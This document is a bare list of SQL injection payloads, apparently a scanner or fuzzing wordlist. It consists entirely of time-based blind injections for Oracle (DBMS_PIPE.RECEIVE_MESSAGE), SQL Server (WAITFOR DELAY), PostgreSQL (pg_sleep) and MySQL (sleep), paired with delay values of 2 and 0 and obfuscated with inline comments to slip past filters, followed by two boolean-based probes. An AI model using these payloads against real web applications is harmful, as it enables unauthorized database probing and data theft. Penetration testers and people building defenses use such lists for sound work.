123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('b',2)='b

123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('b',0)='b

123456/**/and/**/3=DBMS_PIPE.RECEIVE_MESSAGE('c',2)

123456/**/and/**/2=DBMS_PIPE.RECEIVE_MESSAGE('b',0)

123456'and(select+1)>0waitfor/**/delay'0:0:2

123456'and(select+1)>0waitfor/**/delay'0:0:0

123456/**/and(select+1)>0waitfor/**/delay'0:0:2'/**/

123456/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/

123456'/**/and(select'1'from/**/pg_sleep(2))::text>'0

123456'/**/and(select'1'from/**/pg_sleep(0))::text>'0

123456/**/and(select+1/**/from/**/pg_sleep(2))>0/**/

123456/**/and(select+1/**/from/**/pg_sleep(0))>0/**/

123456"and(select*from(select+sleep(2))a/**/union/**/select+1)="

123456"and(select*from(select+sleep(0))a/**/union/**/select+1)="

123456'and(select*from(select+sleep(2))a/**/union/**/select+1)='

123456'and(select*from(select+sleep(0))a/**/union/**/select+1)='

(select*from(select+sleep(2)union/**/select+1)a)

(select*from(select+sleep(0)union/**/select+1)a)

123456"and"u"="d

123456"and"c"="c